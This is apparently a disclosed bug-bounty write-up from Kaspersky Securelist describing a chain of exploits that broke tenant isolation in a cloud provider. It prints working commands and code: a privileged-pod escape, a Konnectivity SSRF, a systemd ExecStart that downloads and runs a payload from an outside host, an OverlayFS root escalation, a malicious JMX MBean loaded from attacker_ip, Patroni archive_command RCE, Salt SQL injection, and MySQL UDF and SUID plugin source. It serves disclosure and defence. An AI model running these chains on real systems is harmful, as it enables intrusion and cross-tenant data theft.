An insecure neighbor: how a vulnerability chain led to an isolation bypass in cloud infrastructure
This article is published for educational purposes only, to raise awareness among information security professionals. The research was part of an official bug bounty program on a major platform. We notified the cloud provider about the vulnerabilities in line with our responsible disclosure policy, and all security issues we found were fixed in full. The infrastructure analyzed in this post has been anonymized, so the organization cannot be identified. We believe that regular pentests, bug bounty programs, and conversations between developers and independent researchers are the foundation of security for any IT product.
Introduction
Many experts believe that cloud data breaches are mostly the customers’ fault, caused by issues like misconfigured storage or open ports. However, our penetration test of a major cloud provider demonstrated that critical threats can originate within the provider’s own infrastructure.
This analysis is based on a real-world case that won second place in the System Hacking (Web & Logic) category at Russian Pentest Award 2026. It covers the sequential exploitation of several vulnerabilities and logic errors. Together, they led to critical business consequences and a complete bypass of tenant isolation within the cloud. On October 22, 2026, I presented a technical analysis of this case in my “Smash the Tenant Boundary” talk at Security Analyst Summit (SAS 2026).
1. Gaining initial access through a managed Kubernetes cluster
Our cloud infrastructure pentest followed the threat model of an external attacker with the privileges of a regular tenant. The ultimate goal of the attack was to assume full control of the cloud.
1.1. Escaping the worker node
First, we created a resource in the cloud’s managed Kubernetes cluster (v1.25.16+k0s.0). As a rule, the provider deliberately withholds SSH access to worker nodes from tenants, because they’re paying for a managed service, not for running servers themselves. In this case, however, the cluster’s security policies did not prevent the creation of privileged pods with access to host namespaces. This enabled us to deploy a pod and switch the execution context to the host machine running the container.
kubectl run pod-name-bla \ <br> --image=alpine \ <br> --restart=Never \ <br> --overrides=' <br> { <br> "apiVersion": "v1", <br> "spec": { <br> "hostPID": true, <br> "containers": [ <br> { <br> "name": "priv", <br> "image": "alpine", <br> "command": [ "sh", "-c", "sleep 3600" ], <br> "stdin": true, <br> "tty": true, <br> "securityContext": { <br> "privileged": true <br> } <br> } <br> ] <br> } <br> }'After creating the privileged pod, we ran the nsenter command inside the container. It moved the execution context to the host machine:
nsenter --target 1 --mount --uts --ipc --net --pid – bashAfter this, the bash shell ran on the actual host machine, not inside the container. Because the pod was privileged, we got full root access to the host machine.
Kubelet configuration and API server address
Next, we analyzed its file system. While researching the data plane, we found a Konnectivity service token. This component provides a tunnel between the control plane and the data plane of a Kubernetes cluster. It was this component that opened up interesting opportunities for developing the attack.
Konnectivity service account token
1.2. Analysis of control plane services
After gaining access to the host machine (the worker node mentioned earlier), we analyzed its network interfaces: the user VPC and the Calico interfaces. We extracted the kube-apiserver address (192.168.0.4) from the kubelet configuration file. A subsequent scan of this address revealed the following open ports:
192.168.0.4:9443 open https status=404 <br>192.168.0.4:2380 open <br>192.168.0.4:6443 open http status=400 <br>192.168.0.4:8132 open <br>192.168.0.4:9100 open http status=200 title="Node Exporter" <br>192.168.0.4:9308 open http status=200 title="kube-state-metrics"Of greatest interest is port 8132, where Konnectivity runs. This service creates a reverse tunnel between the control plane and the data plane so that the data plane is visible from the control plane. This allows management components to communicate with worker nodes, even behind a NAT. The Konnectivity token found earlier granted permission to interact with this service.
Interaction diagram between control plane and data plane via Konnectivity
1.3. Exploiting Konnectivity
To analyze the service on port 8132, we deployed a local test environment. We found that v1.25.16+k0s.0 uses a fork of konnectivty-server, inherited from apiserver-network-proxy in the original Kubernetes.
A quick primer on k0s: this is a minimalist Kubernetes distribution designed for cloud providers. It’s a convenient base for deploying managed clusters (mk8s) with minimal resource overhead. An important feature of k0s is that running user pods on control plane nodes (also known as master nodes) is disabled by default. This meets mk8s security requirements for control plane isolation.
Port 8132, mentioned above, hosts AgentService, which provides a single method: Connect. This method accepts a Packet stream.
service AgentService { <br> rpc Connect(stream Packet) returns (stream Packet) {} <br>}The code revealed an interesting detail: when AgentService receives a packet of the type DIAL_REQ from a worker node, the server calls the net.Dial() function on the control plane side. The packet structure for the Connect method looks like this:
//apiserver-network-proxy/konnectivity-client/proto/client/client.proto:26
enum PacketType { <br> DIAL_REQ = 0; <br> DIAL_RSP = 1; <br> ... <br>} <br> <br>message Packet { <br> PacketType type = 1; <br> <br> oneof payload { <br> DialRequest dialRequest = 2; <br> DialResponse dialResponse = 3; <br> Data data = 4; <br> CloseRequest closeRequest = 5; <br> CloseResponse closeResponse = 6; <br> CloseDial closeDial = 7; <br> } <br>} <br> <br>message DialRequest { <br> // tcp or udp? <br> string protocol = 1; <br> // node:port <br> string address = 2; <br> // random id for client, maybe should be longer <br> int64 random = 3; <br>}The server reads any Packet packets from the stream initiated by the agent (worker node):
//apiserver-network-proxy/pkg/server/server.go:721 <br>in, err := stream.Recv() <br>... <br>recvCh <- inNext, the packets go to the backend manager:
//apiserver-network-proxy/pkg/server/server.go:748 <br> <br>func (s *ProxyServer) serveRecvBackend(...) { <br> for pkt := range recvCh { <br> switch pkt.Type {Then comes the most interesting part:
//apiserver-network-proxy/pkg/server/server.go:888 <br> <br>case client.PacketType_DIAL_REQ: <br> req := pkt.GetDialRequest() <br> klog.V(5).InfoS("Received DIAL_REQ", "target", req.Address) <br> s.handleDialRequest(pkt, backend)In other words, a DIAL_REQ that comes from the agent (worker node) was considered valid and passed to the packet handler for the corresponding type (DIAL_REQ).
//apiserver-network-proxy/pkg/server/server.go:921 <br>func (s *ProxyServer) handleDialRequest(pkt *client.Packet, backend Backend) { <br> ... <br> dialReq := pkt.GetDialRequest() <br> resp.GetDialResponse().Random = dialReq.Random <br> <br> start := time.Now() <br> conn, err := net.Dial(dialReq.Protocol, dialReq.Address) // we control proto and addressThis created an SSRF primitive in the control plane context, which made it possible to reach not only network resources but also host UNIX sockets. D-Bus (- /run/dbus/system_bus_socket) was chosen as a promising target for interaction. The busctl utility revealed the following services available on the control plane:
org.freedesktop.DBus <br> org.freedesktop.PackageKit <br> org.freedesktop.PolicyKit1 <br> org.freedesktop.login1 <br> org.freedesktop.systemd1 <br> com.ubuntu.SoftwarePropertiesUsing the org.freedesktop.DBus.GetConnectionCredentials method with a custom D-Bus client we wrote on top of github.com/godbus/dbus/v5, we were able to retrieve the UID of the current process. In this case, it was 997. Unfortunately, it wasn’t root, which means we couldn’t instantly start a system service in systemd. However, it was still possible to create a user service (system –user). To do this, we first enabled lingering for our UID:
busctl --address=unix:path=/tmp/master-dbus.sock \ <br> call org.freedesktop.login1 \ <br> /org/freedesktop/login1 \ <br> org.freedesktop.login1.Manager \ <br> SetUserLinger ubb 997 true falseThe following sockets were then opened:
/run/user/997/bus <br> /run/user/997/systemd/private (this socket is the equivalent of running commands through systemctl --user.)Through this new socket, we called the StartTransientUnit method of the org.freedesktop.systemd1.Manager service:
StartTransientUnit( <br> name: string, <br> mode: string, <br> properties: a(sv), <br> aux: a(sa(sv)) <br>) -> job object pathThe properties parameter is exactly where you pass the standard systemd service definition directives. We added the following line:
ExecStart=/bin/sh -c "bash -lc 'curl ip:port/payload -o /tmp/love;chmod +x /tmp/love; setsid /tmp/love '"As a result, we successfully received a callback from the control plane.
Konnectivity-server context and node network interfaces
Mirantis, the company behind the k0s project, confirmed the vulnerability.
1.4. Privilege escalation on the host
Since konnectivity-server runs with limited privileges by default, the next step after achieving RCE on the control plane was to escalate those privileges. An analysis of processes on the control plane node revealed a running salt-minion service. Root privileges allow authentication in salt-minion as that minion and further attacks against it (more on that later).
In our case, the target host ran Ubuntu 22.04 with kernel version 5.15.x. Because user namespaces were enabled, a known bug in OverlayFS offered a viable path to privilege escalation: it allows a file to retain the cap_setuid+eip capabilities after namespace manipulation.
To exploit the vulnerability, a copy of the python3 interpreter was created with the setuid capability set, which made it possible to gain root privileges.
rm -rf /tmp/lpe <br>mkdir /tmp/lpe <br>cd /tmp/lpe <br> <br>unshare -rm sh -c ' <br> mkdir l u w m && <br> cp /usr/bin/python3 l/ && <br> chmod 755 l/python3 && <br> setcap cap_setuid+eip l/python3 && <br> mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && <br> touch m/* <br>' <br>getcap /tmp/lpe/u/python3 <br>/tmp/lpe/u/python3 -c 'import os; os.setuid(0); os.system("id; /bin/sh")'
Confirmation of command execution with root privileges
Gaining root privileges opened up several interesting attack vectors:
We discovered an eth2 interface on the 100.64.0.0/10 subnet on the host. The cloud’s overlay network turned out to be flat, providing visibility into all managed services.
The system stored a salt-minion key pair. This significantly expands the attack surface by providing access to the managed cloud’s own control plane through SaltStack.
2. Adventures in the overlay network
2.1. Victoria stack
An examination of network activity within the managed resource immediately yielded interesting results. Traffic analysis revealed requests from a specific IP address to collect node metrics from our kube-state-metrics instance in mk8s. The IP address turned out to belong to a metrics collector, one of the VictoriaMetrics instances serving numerous managed resources. Like Prometheus, the VictoriaMetrics API exposes a list of targets from which it collects metrics.
When we queried the http://100.64.13.37:8429/api/v1/targets endpoint, we found that each target’s labels contained valuable metadata:
"discoveredLabels": { <br> "__address__": "http://100.64.1.1:6897/metrics", <br> "__meta_url": "CENSORED", <br> "__metrics_path__": "/metrics", <br> "__scheme__": "http", <br> "__scrape_interval__": "2m0s", <br> "__scrape_timeout__": "2m0s", <br> "cluster_id": "676767", <br> "customer": "customerID", <br> "job": "http", <br> "profile": "kubernetes", <br> "vds_id": "1337", <br> "version": "1.0" <br> }It’s worth noting that a single VictoriaMetrics query returns a full list of control plane hosts that belong to other cloud tenants. Port 6897 indicates that the kube-state-metrics exporter is running, and the profile: kubernetes field further confirms the target type at this address.
We found another host from the Victoria ecosystem on the same network: VictoriaLogs. The service’s web interface on port 9428 also exposes API endpoints that can reveal sensitive data. For example, the /select/logsql/query endpoint allowed unauthorized access to all logs from any managed resource in the cloud.
Analysis of the control plane logs for mk8s revealed a critical detail: the cloud-init scripts generated private SSH keys for the root account by default. These keys were printed to stdout and automatically saved in the shared system logs.
Correlating certain label values from VictoriaMetrics helped us reconstruct the target host’s original names. This makes it easier to filter data in VictoriaLogs and unambiguously match a compromised private key to the target node where it can be used.
Private SSH key in a VictoriaLogs record
We could use the compromised private key for a privileged account to connect to the target nodes over SSH and gain full control of other tenants’ clusters.
Process privileges on the host and available actions in Kubernetes
Logs from other types of services could likely reveal additional sensitive data that would further increase the impact.
2.2. Compromising managed Kafka instances
We explored the option to deploy managed Apache Kafka resources. As expected, we also found these instances on the flat overlay network. One Kafka host had port 9999 open, which turned out to be a JMX Registry.
Discovered Java RMI service on port 9999
The JMX Registry mechanism is inherently vulnerable: it returns an RMI stub-host to the calling client, which allows remotely loading an arbitrary custom MBean class and executing arbitrary code. We ran an nmap -sC scan against the registry port to identify the exact port of the RMI service we would interact with next. To carry out the attack, we prepared a set of Java scripts with the following structure:
JmxCreateMBean.java: connects to the JMX Registry and creates an MBean component, javax.management.loading.MLet (a class that loads classes from a specified URL).
JmxInvoke.java: invokes the selected MBean method through the JMX Registry.
ExecMBean.java and Exec.java a custom lightweight test MBean component with a run(String cmd) method that provides an interface for remote command execution.
The code that handles the connection and initialization of the MBean component looks like this:
//JmxCreateMBean.java <br>... <br>import javax.management.remote.JMXConnector; <br>import javax.management.remote.JMXConnectorFactory; <br>import javax.management.remote.JMXServiceURL; <br> <br>public class JmxCreateMBean { <br> private static final class RewritingSocketFactory extends RMISocketFactory { <br> private final String fromHost; <br> private final String toHost; <br> <br> RewritingSocketFactory(String fromHost, String toHost) { <br> ... <br> } <br> <br> @Override <br> public Socket createSocket(String host, int port) throws IOException { <br> ... <br> } <br> <br> @Override <br> public ServerSocket createServerSocket(int port) throws IOException { <br> ... <br> } <br> } <br> <br> public static void main(String[] args) throws Exception { <br> ... <br> RMISocketFactory.setSocketFactory(new RewritingSocketFactory(args[2], args[3])); <br> String url = String.format("service:jmx:rmi:///jndi/rmi://%s:%s/jmxrmi", args[0], args[1]); <br> <br> try (JMXConnector connector = JMXConnectorFactory.connect(new JMXServiceURL(url), new HashMap<>())) { <br> var mbsc = connector.getMBeanServerConnection(); <br> try { <br> ObjectInstance created = mbsc.createMBean(args[4], new ObjectName(args[5])); <br> System.out.println("CREATED " + created.getObjectName() + " " + created.getClassName()); <br> } catch (InstanceAlreadyExistsException e) { <br> System.out.println("EXISTS " + args[5]); <br> } <br> } <br> } <br>}Below is the implementation of the malicious Exec.java class, which provides methods to execute shell commands and read and write files with Base64 encoding:
// Exec.java <br>import java.nio.charset.StandardCharsets; <br>import java.nio.file.Files; <br>import java.nio.file.Path; <br>import java.util.Base64; <br> <br>public class Exec implements ExecMBean { <br> @Override <br> public String run(String cmd) throws Exception { <br> Process p = new ProcessBuilder("/bin/sh", "-c", cmd).redirectErrorStream(true).start(); <br> byte[] out = p.getInputStream().readAllBytes(); <br> int rc = p.waitFor(); <br> return "rc=" + rc + "\n" + new String(out, StandardCharsets.UTF_8); <br> } <br> <br> @Override <br> public String getB64(String path) throws Exception { <br> return Base64.getEncoder().encodeToString(Files.readAllBytes(Path.of(path))); <br> } <br> <br> @Override <br> public String putB64(String path, String b64) throws Exception { <br> byte[] data = Base64.getDecoder().decode(b64); <br> Files.write(Path.of(path), data); <br> return "wrote " + data.length + " bytes"; <br> } <br>}After compiling our custom MBean, we place the resulting JAR file on a remote web server and prepare an mlet.html configuration file so the target server can load it.
<html> <br><mlet code="Exec" archive="execmbean.jar" name="payload:type=Exec"></mlet> <br></html>We then perform the following steps:
Create a standard MLet loader inside the Kafka JVM.
Load the malicious MBean onto the target server by calling the getMBeansFromURL method of the standard MLet component (DefaultDomain:type=MLet). The URL of the prepared file is passed as an argument: http://attacker_ip:8000/mlet.html.
Call the run(String cmd) method of the loaded MBean to achieve RCE on the host.
Kafka process context and node network interfaces
This attack vector was possible because the RMI stub host, which security standards require to be bound only to the loopback interface (127.0.0.1), was mistakenly exposed to the cloud’s shared overlay network.
2.3. Credential leakage through redis-exporter
The next step was to analyze hosts running managed Redis instances. Alongside the main port 6379 used by Redis, each host had a redis exporter service on port 9121. Analysis of its source code revealed a logic vulnerability in how the target parameter was handled:
//redis_exporter/exporter/http.go:47 <br>func (e *Exporter) scrapeHandler(w http.ResponseWriter, r *http.Request) { <br> target := r.URL.Query().Get("target") <br>... <br> <br> if !strings.Contains(target, "://") { <br> target = "redis://" + target <br> } <br> <br> u, err := url.Parse(target) <br>... <br> <br> opts := e.options <br>... <br> _, err = NewRedisExporter(target, opts) <br>...Essentially, the /scrape handler accepts an arbitrary target parameter and attempts to collect metrics from that target with the same credentials the exporter uses to connect to its primary Redis instance. Directing a redis exporter request to an attacker-controlled host, such as one running nc -nvlp 6379, makes it possible to intercept the following credentials:
http://<redis_expoter_host>:9121/scrape?target=<fake_redis_server>
AUTH command in an intercepted Redis request
The captured credentials allowed access to other customers’ Redis instances to read, modify, or delete stored data.
Diagnostic information of the Valkey instance
(Note. A Redis RCE vulnerability was disclosed during the research. Combined with the access obtained, it made it possible to fully compromise other tenants’ services).
2.4. Compromise of managed PostgreSQL (Patroni) clusters
The PostgreSQL DBMS is one of the most popular managed resources alongside mk8s. The next step was therefore to analyze PostgreSQL hosts in the overlay network. Scanning nodes with the PostgreSQL port (5432) open revealed related services on ports 2379 (an etcd distributed store) and 8008 (Patroni REST API). While the Patroni REST API required authentication, access to etcd was completely unrestricted. Analysis of the contents of etcd revealed a critical key, /v2/keys/service/pg-cluster/config, which contained the Patroni configuration.
Patroni configuration in etcd
{ <br> "ttl": 30, <br> "loop_wait": 10, <br> "retry_timeout": 10, <br> "maximum_lag_on_failover": 1048576, <br> "postgresql": { <br> "use_pg_rewind": true, <br> "parameters": { <br> "archive_command": "id", <br> "archive_mode": "always", <br> "max_connections": 550, <br> "max_locks_per_transaction": 512, <br> "max_worker_processes": 27 <br> } <br> } <br>}
Write access to this configuration file allows an attacker to set archive_command to a command of their choice and achieve RCE on the target host when the archiving process starts. To avoid waiting for the WAL to fill up through normal activity, a way was found to force archiving even with minimal access privileges:
Update the Patroni configuration with the modified archive_command:
curl -s -X PUT http://localhost:2379/v2/keys/service/<CLUSTER_NAME>/config -d value="$(jq -c . config.json)" | jqUpdate the configuration again to add the standby_cluster parameter:
{ <br>"ttl": 30, <br>"loop_wait": 10, <br>"retry_timeout": 10, <br>"maximum_lag_on_failover": 1048576, <br>"postgresql": { <br> "use_pg_rewind": true, <br> "parameters": { <br> "archive_command": "rce", <br> "archive_mode": "on", <br> "archive_timeout": "10", <br> "max_connections": 550, <br> "max_locks_per_transaction": 512, <br> "max_worker_processes": 27 <br> } <br>}, <br>"standby_cluster": { <br> "host": "192.0.2.1", <br> "port": 5432 <br>} <br>}After this parameter is applied, Patroni detects a role conflict for the current primary. The logs show a sequence similar to the following:
cannot be a real primary in standby cluster <br>Demoting self (demote-cluster) <br>received fast shutdown request <br>checkpoint starting: shutdown immediatePostgres then restarts, and the archiving process runs and executes the injected command:
PostgreSQL process context and node network interfaces
This makes it possible to log in to other tenants’ Postgres DBMS instances and gain full control over the data. As an additional risk factor, files containing credentials for access to S3 storage were found on these hosts.
Database and S3 access parameters in a backup file
This storage holds backups not only of the current instance but also of all other databases in the cloud.
List of backup storage locations in S3
3. Attack on SaltStack management infrastructure
After gaining root access to the control plane node, the focus shifted to the SaltStack configuration management service.
3.1. Analysis of salt fs
The first step was to dump the entire Salt master file system for subsequent static analysis:
Fragment of the Salt Master file list
It contained numerous files.
salt-call --out=newline_values_only cp.list_master saltenv=redacted | sed '/^$/d' | while read -r f; do <br> mkdir -p "/tmp/dump/$(dirname "$f")" <br> salt-call --out=newline_values_only cp.get_file "salt://$f" "/tmp/dump/$f" saltenv=redacted >/dev/null <br> doneBecause the Salt version in use was up to date, no known CVEs were applicable. However, we found a custom script (_pillar/somebase.py) with a critical vulnerability among the files on the Salt master. The vendor had written it to service minions running the somebase service. The vulnerability is an insecure SQL query construction through the query.format() method:
sql = query.format( <br> minion_id=minion_id, <br> pillar={**pillar, **results}, <br> grains=__grains__, <br> ) <br> loaded_items = db_connections[db_alias].load_object_list(sql)A Salt minion can trigger a pillar refresh and pass arbitrary metadata (grains) to the Salt master. This allows an attacker to inject SQL code through the some_id parameter inside grains. When the extension on the Salt master side processes the request, the generated SQL query is executed in the prod-cloud database. As a result, the vulnerability makes an error-based SQL injection possible.
Database error during pillar processing
3.2. Exploiting the SQLi
This vulnerability provided access to various database schemas. The most interesting one was the cloudsmth schema, which contained about 50 tables with metadata of all managed resources and VDS.
Fragment of the table list in the cloudsmth schema
Even more notable was the salt-masters table, which held authentication tokens for all Salt masters.
Records with Salt Master authentication tokens
With these tokens, we could access the Salt master REST API and run arbitrary commands on all minions in the cloud:
curl -k https://salt-master:8000 -H "Accept: application/json" -H "Content-Type: application/json" -H "X-Auth-Token: REDACTED" -d '[{"client":"local","tgt":"hostname-minion","fun":"cmd.run","arg":["id; hostname"]}]'By agreement with the vendor, the attack was not developed further. Even so, access to the salt-masters table and the prod-cloud database would have made it possible to take over all resources, including VDS, S3, and other services, in a single step.
4. Other ways to attack the cloud
It’s worth mentioning other ways to get into the overlay network, since some of them also produced interesting cases.
4.1. Exploiting a vulnerability in Managed Valkey
During analysis of the Valkey instances deployed in the cloud infrastructure, we found that the software version in use was vulnerable to CVE-2026-25243. At the time of the analysis, no public proofs of concept (PoCs) or exploits existed. To study how the vulnerability manifests, we analyzed the diagnostic data returned by the INFO command:
valkey_version=7.2.11 <br>redis_version=7.2.4 <br>redis_git_sha1=97b6663c <br>redis_git_dirty=0 <br>redis_build_id=a75ca2f023d97d88 <br>gcc_version=13.3.0 <br>arch_bits=64 <br>os=Linux 6.8.0-124-generic x86_64 <br>executable=/usr/bin/valkey-serverThe redis_build_id identifier made it possible to determine the exact binary in use. It matched the official build for Ubuntu Noble x86_64.
CVE-2026-25243 is caused by the RESTORE command handling serialized RDB objects incorrectly. When the legacy hash-zipmap encoding is used, the validator accepts a 5-byte length representation for a short key, but the parser that follows interprets the key’s internal bytes as the encoding of the value length. This mismatch can cause an out-of-bounds write that overwrites adjacent heap chunks (heap overflow), which can potentially lead to an arbitrary write primitive. After the successful arbitrary write to adjacent memory regions, strict systemd sandbox rules presented an obstacle:
NoExecPaths=/ <br>ExecPaths=/usr/bin/valkey-server /usr/lib /lib <br>CapabilityBoundingSet= <br>NoNewPrivileges=true <br>PrivateUsers=true <br>ProtectSystem=strict <br>ProtectHome=true <br>SystemCallFilter=@system-service <br>SystemCallFilter=~ @privileged @resourcesThese parameters block the execution of standard shells, such as /bin/sh. Even so, the /tmp directory was mounted with write access. By modifying the process logic, we could trigger the download and execution of a third-party component from /tmp, which wasn’t covered by the noexec rule. After establishing a stable communication channel, we added an SSH key to /var/lib/valkey/.ssh/authorized_keys. This gave us independent access to the host and the ability to escalate privileges further through standard local privilege escalation (LPE) methods.
Valkey process context and Salt grains parameters
The GRO Frag vulnerability was triggered in this case, but new LPEs are disclosed every week, so there may be many other ways to escalate privileges and continue the attack on the Salt master.
4.2. MySQL
The MySQL database user didn’t have root privileges when the resource was created.
DROP TABLE IF EXISTS mysql.global_grants; <br>CREATE TABLE mysql.global_grants ( <br>USER char(32) NOT NULL DEFAULT '', <br>HOST char(255) NOT NULL DEFAULT '', <br>PRIV char(32) NOT NULL DEFAULT '', <br>WITH_GRANT_OPTION enum('N','Y') NOT NULL DEFAULT 'N', <br>PRIMARY KEY (USER, HOST, PRIV) <br>) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;However, the application logic allowed this user to drop and recreate the table with dynamic privileges:
DROP TABLE IF EXISTS mysql.user; <br> <br> CREATE TABLE mysql.user ( <br> Host char(255) NOT NULL DEFAULT '%', <br> User char(32) NOT NULL DEFAULT '', <br> Select_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Insert_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Update_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Delete_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Create_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Drop_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Reload_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Shutdown_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Process_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> File_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Grant_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> References_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Index_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Alter_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Show_db_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Super_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Create_tmp_table_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Lock_tables_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Execute_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Repl_slave_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Repl_client_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Create_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Show_view_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Create_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Alter_routine_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Create_user_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Event_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Trigger_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Create_tablespace_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> ssl_type enum('','ANY','X509','SPECIFIED') NOT NULL DEFAULT '', <br> ssl_cipher blob NOT NULL, <br> x509_issuer blob NOT NULL, <br> x509_subject blob NOT NULL, <br> max_questions int unsigned NOT NULL DEFAULT 0, <br> max_updates int unsigned NOT NULL DEFAULT 0, <br> max_connections int unsigned NOT NULL DEFAULT 0, <br> max_user_connections int unsigned NOT NULL DEFAULT 0, <br> plugin char(64) NOT NULL DEFAULT 'caching_sha2_password', <br> authentication_string text, <br> password_expired enum('N','Y') NOT NULL DEFAULT 'N', <br> password_last_changed timestamp NULL DEFAULT NULL, <br> password_lifetime smallint unsigned DEFAULT NULL, <br> account_locked enum('N','Y') NOT NULL DEFAULT 'N', <br> Create_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Drop_role_priv enum('N','Y') NOT NULL DEFAULT 'Y', <br> Password_reuse_history smallint unsigned DEFAULT NULL, <br> Password_reuse_time smallint unsigned DEFAULT NULL, <br> Password_require_current enum('N','Y') DEFAULT NULL, <br> User_attributes json DEFAULT NULL, <br> PRIMARY KEY (Host, User) <br> ) ENGINE=InnoDB DEFAULT CHARSET=utf8mb3 STATS_PERSISTENT=0;After the database was restarted and a new user was created, that user automatically received full administrator privileges. Next, we added more privileges:
INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_VARIABLES_ADMIN','Y'); <br>INSERT INTO mysql.global_grants VALUES ('newadm','%','PERSIST_RO_VARIABLES_ADMIN','Y'); <br>INSERT INTO mysql.global_grants VALUES ('newadm','%','SYSTEM_USER','Y'); <br>FLUSH PRIVILEGES;Having escalated privileges in the database, we now needed to achieve RCE. We compiled a custom UDF library to run system commands.
#include <stdlib.h> <br>#include <string.h> <br>#include <stdio.h> <br> <br>typedef unsigned long long udf_args_type; <br> <br>typedef struct { <br> unsigned int arg_count; <br> unsigned int *arg_type; <br> char **args; <br> unsigned long *lengths; <br> char *maybe_null; <br> char **attributes; <br> unsigned long *attribute_lengths; <br> void *extension; <br>} UDF_ARGS; <br> <br>typedef struct { <br> char maybe_null; <br> unsigned int decimals; <br> unsigned long max_length; <br> char *ptr; <br> char const_item; <br> void *extension; <br>} UDF_INIT; <br> <br>int sys_eval_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { <br> if (args->arg_count != 1) { <br> strcpy(message, "sys_eval requires one argument"); <br> return 1; <br> } <br> initid->max_length = 65535; <br> return 0; <br>} <br> <br>void sys_eval_deinit(UDF_INIT *initid) {} <br> <br>char* sys_eval(UDF_INIT *initid, UDF_ARGS *args, char *result, <br> unsigned long *length, char *is_null, char *error) { <br> if (!args->args[0]) { *is_null = 1; return NULL; } <br> char cmd[65535]; <br> snprintf(cmd, sizeof(cmd), "%.*s", (int)args->lengths[0], args->args[0]); <br> FILE *pipe = popen(cmd, "r"); <br> if (!pipe) { *is_null = 1; return NULL; } <br> static char buf[65535]; <br> size_t total = 0; <br> while (total < sizeof(buf)-1) { <br> size_t n = fread(buf+total, 1, sizeof(buf)-1-total, pipe); <br> if (n == 0) break; <br> total += n; <br> } <br> pclose(pipe); <br> buf[total] = '\0'; <br> *length = total; <br> return buf; <br>}RCE was achieved through a CRLF injection into the configuration file through the cloud provider’s API:
curl -s -X PATCH "https://somecloud/api/dbaas/id" \ <br> -H "Content-Type: application/json" \ <br> -H "Authorization: Bearer $TOKEN" \ <br> -d '{"config_parameters":{"default-time-zone":"+00:00\nsecure_file_priv=\nplugin_dir=/var/lib/mysql-files/\ndefault-time-zone=+00:00\n#"}}'This vector made it possible to inject line breaks and override critical configuration parameters:
default-time-zone="+00:00 <br>secure_file_priv= # removes write restrictions so files can be saved to any directory the MySQL user can access. <br>plugin_dir=/var/lib/mysql-files/ # sets a trusted directory for loading dynamic libraries.With the write permissions obtained, a malicious UDF library (shared object) was written to the target directory through the following SQL statement:
SELECT UNHEX('$hex') INTO DUMPFILE '/var/lib/mysql-files/rce.soWe restarted the MySQL database to apply the updated configuration and initialize the registered plug-in:
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'rce.so';
Result of executing id via MySQL UDF
The list of active services was analyzed to identify opportunities for local privilege escalation to root. It turned out that the mysql-watcher.service ran with administrator privileges and periodically launched a Python script that accessed MySQL through the system client. To exploit this, we compiled another plug-in:
#include <stdlib.h> <br>__attribute__((constructor)) static void init(void) { <br> system("cp /bin/bash /tmp/rbash && chmod 4755 /tmp/rbash"); <br>}We injected the path to the directory containing the malicious library (.so file, plugin_dir parameter) and the authentication plug-in name default-auth=plugname into the [client] section of the /etc/mysql/my.cnf configuration file. The next time the background mysql-watcher.service starts the MySQL client as root, the plug-in described above executes on the server host. This causes a system command to run and creates a copy of the Bash interpreter with the SUID bit set (/tmp/rbash), which completes the chain leading to full host compromise.
Conclusion
The cloud provider’s infrastructure was built on in-house components rather than standard open-source solutions, which created a non-trivial attack surface. The research also identified other vulnerabilities, but they were left out of the report because they were standard. Based on the findings, the vendor was given recommendations for strengthening its security posture. The recommendations covered isolating managed services to remove network visibility between them, enforcing strict AppArmor policies to isolate service processes, and adding monitoring of how potentially vulnerable services are used.
Source: Kaspersky Securelist